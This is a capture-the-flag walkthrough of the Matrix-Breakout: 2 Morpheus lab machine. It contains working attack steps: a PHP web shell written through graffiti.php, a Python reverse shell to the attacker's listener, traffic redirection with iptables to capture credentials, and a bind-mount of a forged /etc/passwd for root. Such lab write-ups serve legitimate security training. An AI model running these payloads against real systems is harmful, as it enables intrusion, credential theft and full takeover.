CTF : Matrix-Breakout: 2 Morpheus
Informations
- IP: 192.168.0.36
- MYIP: 192.168.0.171
First enumeration
Basics
- NMAP
consolesudo nmap -p- -A 192.168.0.171 Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-19 20:48 CET Nmap scan report for 192.168.0.171 Host is up (0.00017s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: |_ 256 aa83c351786170e5b7469f07c4ba31e4 (ECDSA) 80/tcp open http Apache httpd 2.4.51 ((Debian)) |_http-title: Morpheus:1 |_http-server-header: Apache/2.4.51 (Debian) 81/tcp open http nginx 1.18.0 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=Meeting Place |_http-title: 401 Authorization Required |_http-server-header: nginx/1.18.0 MAC Address: 08:00:27:96:04:CB (Oracle VirtualBox virtual NIC) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.93%E=4%D=1/19%OT=22%CT=1%CU=36052%PV=Y%DS=1%DC=D%G=Y%M=080027%T OS:M=63C99E89%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10D%TI=Z%CI=Z%II=I OS:%TS=A)OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O OS:5=M5B4ST11NW6%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6 OS:=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD= OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0% OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1( OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI= OS:N%T=40%CD=S) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.17 ms 192.168.0.171 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 20.84 seconds
Vulnerabilities search
Port 80 leads to an index.html but there is maybe something else... :)
consoledirsearch -u http://192.168.0.171 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e zip,sql.bak,tgz,log,py,pub,php.bak,bak,tar.gz,tar,id_rsa,sh,pl,rb,cgi,jar,js,php,sql,bkp,rar,xml,csv,html,json,txt,old,php.old,html.old,html.OLD,gz,OLD -f _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: zip, sql.bak, tgz, log, py, pub, php.bak, bak, tar.gz, tar, id_rsa, sh, pl, rb, cgi, jar, js, php, sql, bkp, rar, xml, csv, html, json, txt, old, php.old, html.old, html.OLD, gz, OLD HTTP method: GET | Threads: 30 | Wordlist size: 7498530 Output File: /home/boula/.dirsearch/reports/192.168.0.171/_23-01-19_20-55-53.txt Error Log: /home/boula/.dirsearch/logs/errors-23-01-19_20-55-53.log Target: http://192.168.0.171/ [20:55:53] Starting: [20:55:53] 200 - 348B - /index.html [20:55:57] 403 - 278B - /icons/ [20:56:56] 403 - 278B - /javascript/ [20:56:56] 301 - 319B - /javascript -> http://192.168.0.171/javascript/ [20:57:36] 200 - 47B - /robots.txt [21:12:37] 200 - 451B - /graffiti.php [21:12:37] 200 - 139B - /graffiti.txt CTRL+C detected: Pausing threads, please wait...
Exploit
Well /graffiti.php
is a php script that writes via a POST command some text in a text file. Using burp I could see that there is two parameters to POST action : message and file... Huhuhu
So what if I modify those parameters like this : message=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3F%3E&file=joe.php
It creates a file joe.php that contains : <?php system($_GET['cmd'])?>
!
console$ curl "http://192.168.0.171/joe.php?cmd=ls" graffiti.php graffiti.txt index.html joe.php robots.txt trinity.jpeg
On attacker box I launched :
shellnc -nlvp 1234
Now, we can use this payload for the cmd parameter : python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.36",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
And we got a shell :)
console$ cat /FLAG.txt Flag 1! You've gotten onto the system. Now why has Cypher locked everyone out of it? Can you find a way to get Cypher's password? It seems like he gave it to Agent Smith, so Smith could figure out where to meet him. Also, pull this image from the webserver on port 80 to get a flag. /.cypher-neo.png
Now we need to find cypher password.
There an nginx webserver serving page on port 81. It's password protected. But as we got a shell, let's see what's in the .htpasswd :
console$ cat /var/nginx/html/.htpasswd cypher:$apr1$e9o8Y7Om$5zgDW6WOO6Fl8rCC7jpvX0
I tried to crack it with hashcat but... no luck...
I was stuck here for a long time until I tried to print the nginx log tail :
console$ tail /var/log/nginx/access.log [...] 172.17.0.2 - cypher [19/Jan/2023:23:37:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1" 172.17.0.2 - cypher [19/Jan/2023:23:38:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1" 172.17.0.2 - cypher [19/Jan/2023:23:39:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1" 172.17.0.2 - cypher [19/Jan/2023:23:40:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1" 172.17.0.2 - cypher [19/Jan/2023:23:41:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"
I previously saw there was a docker service but as www-data user I was unable to do anything.
But now, I figured out that there is a service held by docker that do connections as cypher user.
So I have to find a way...
console$ getcap -r / 2>/dev/null /usr/bin/python3-9 cap_sys_admin=ep /usr/bin/ping cap_net_raw=ep /usr/sbin/xtables-legacy-multi cap_net_admin=ep /usr/sbin/xtables-nft-multi cap_net_admin=ep
/usr/sbin/xtables-nft-multi
has the capability cap_net_admin=ep
which permits to have admin rights on network.
Knowing that we can craft an iptable rule to redirect incoming traffic on port 81 to the attacker box.
shell/usr/sbin/xtables-nft-multi iptables -t nat -A PREROUTING -p tcp --dport 81 -j DNAT --to-destination 192.168.0.36:1235
On the attacker box :
console$ nc -nlvp 1235 listening on [any] 1235 ... connect to [192.168.0.36] from (UNKNOWN) [192.168.0.171] 35002 GET / HTTP/1.1 Host: 172.17.0.1:81 User-Agent: Go-http-client/1.1 Authorization: Basic Y3lwaGVyOmNhY2hlLXByb3N5LXByb2NlZWRzLWNsdWUtZXhwaWF0ZS1hbW1vLXB1Z2lsaXN0 Accept-Encoding: gzip
And we just have to decode base64:
console$ echo -ne 'Y3lwaGVyOmNhY2hlLXByb3N5LXByb2NlZWRzLWNsdWUtZXhwaWF0ZS1hbW1vLXB1Z2lsaXN0' | base64 -d cypher:cache-prosy-proceeds-clue-expiate-ammo-pugilist
console$ cat FLAG.txt You've clearly gained access as user Cypher. Can you find a way to get to root?
Privilege escalation
Enumeration for privesc
I found this ...
consolecat /etc/cron.d/fix-ownership-on-crew * * * * * root chown -R root /crew
I tried to push file with suid set into this dir but chown command removed the suid bit...
but... remember :
console$ getcap -r / 2>/dev/null /usr/bin/python3-9 cap_sys_admin=ep /usr/bin/ping cap_net_raw=ep /usr/sbin/xtables-legacy-multi cap_net_admin=ep /usr/sbin/xtables-nft-multi cap_net_admin=ep
...
Exploit
console$ ls -al /usr/bin/python3-9 -rwxr-x--- 1 root humans 5479736 Oct 28 2021 /usr/bin/python3-9
Huuum we can now use this binary and cap_sys_admin=ep
let us mount a file above another... sooo.
Let's craft a special passwd file :
shellcp /etc/passwd . openssl passwd -1 -salt toto titi $1$toto$U3mQTcCvor57o7Hq2Woid. echo 'toto:$1$toto$U3mQTcCvor57o7Hq2Woid.:0:0:root:/root:/bin/bash' >> passwd
We have to write a script to replace the original one by ours :)
pythonfrom ctypes import * libc = CDLL("libc.so.6") libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p) MS_BIND = 4096 source = b"/home/cypher/passwd" target = b"/etc/passwd" filesystemtype = b"none" options = b"rw" mountflags = MS_BIND libc.mount(source, target, filesystemtype, mountflags, options)
And now...
shell/usr/bin/python3-9 exploit.py
consolecypher@morpheus:~$ su - toto Password: titi root@morpheus:~# whoami root
Huhuhu !
console# cat FLAG.txt You've won! Let's hope Matrix: Resurrections rocks!
\o/